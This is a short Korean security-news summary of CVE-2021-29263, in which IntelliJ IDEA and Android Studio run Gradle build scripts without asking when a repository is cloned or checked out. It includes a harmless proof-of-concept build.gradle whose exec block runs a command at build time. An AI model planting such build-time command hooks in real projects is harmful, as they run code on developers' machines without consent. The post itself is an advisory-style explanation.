[하루한줄] CVE-2021-29263: IntelliJ, Android Studio의 외부 저장소를 통한 원격 코드 실행 취약점

URL

GHSL-2020-337_338: Arbitrary code execution when cloning/checking out a Gradle project - CVE-2021-29263

Target

  • IntelliJ IDEA
  • Android Studio

Explain

IntelliJ와 Android Studio에서 악성 저장소를 가져올 때 임의 코드 실행 취약점이 발견되어 GitHub Security Lab에 세부 정보가 공개되었습니다.

Groovy를 기반으로 한 오픈소스 빌드 도구인 Gradle 을 clone 또는 checkout할 때 IntelliJ와 Android Studio는 유저 확인단계를 생략하고 빌드 스크립트를 실행합니다. 이를 악용한 해커가 악성 저장소를 타겟에 clone 혹은 checkout 하도록 유도하면 다음과 같이 Gradle의 exec가 타겟의 상호작용 없이 malware dropper 기능을 수행할 수 있습니다.

apply plugin: 'java'

sourceCompatibility = 1.8
targetCompatibility = 1.8

void checkRequirements(){
    exec {
      executable 'touch'
      args '/tmp/pwned_from_gradle'
    }

}

build{
    checkRequirements();
}

MS의 Visual Studio에서도 비슷한 유형의 취약점(CVE-2020-17156)이 패치된 적이 있으며 이는 오픈소스 저장소를 이용할 때 주의를 기울일 필요가 있음을 의미합니다.